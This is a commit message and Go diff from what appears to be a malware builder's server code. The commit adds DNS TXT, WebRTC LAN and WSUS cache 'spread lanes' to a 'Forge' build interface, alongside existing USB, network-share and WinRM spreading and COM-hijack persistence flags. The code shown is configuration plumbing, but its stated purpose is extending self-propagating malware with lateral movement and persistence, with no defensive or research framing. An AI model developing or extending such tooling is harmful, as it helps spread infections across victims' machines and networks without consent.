Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/internal/builder/handler.go

@@ -85,8 +85,11 @@ type BuildRequest struct {
 	RemoteAggressive bool   `json:"remote_aggressive"`
 	USBSpread        bool   `json:"usb_spread"`
 	ShareSpread      bool   `json:"share_spread"`
-	WinRMSpread      bool   `json:"winrm_spread"`
-	COMHijackPersist bool   `json:"com_hijack_persist"`
+	WinRMSpread         bool `json:"winrm_spread"`
+	DnsTxtSpread        bool `json:"dns_txt_spread"`
+	WebRTCMeshSpread    bool `json:"webrtc_mesh_spread"`
+	WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
+	COMHijackPersist    bool `json:"com_hijack_persist"`
 	LinuxLOTLMode    string `json:"linux_lotl_mode"`
 	TargetOS         string `json:"target_os"`
 	TargetArch       string `json:"target_arch"`
@@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		USBSpread:           %v,
 		ShareSpread:         %v,
 		WinRMSpread:         %v,
+		DnsTxtSpread:        %v,
+		WebRTCMeshSpread:    %v,
+		WSUSCachePeerSpread: %v,
 		COMHijackPersist:    %v,
 		LinuxLOTLMode:       %q,
 		BackupServerURLs:    %s,
@@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.USBSpread,
 		req.ShareSpread,
 		req.WinRMSpread,
+		req.DnsTxtSpread,
+		req.WebRTCMeshSpread,
+		req.WSUSCachePeerSpread,
 		req.COMHijackPersist,
 		req.LinuxLOTLMode,
 		formatGoStringSlice(req.BackupServerURLs),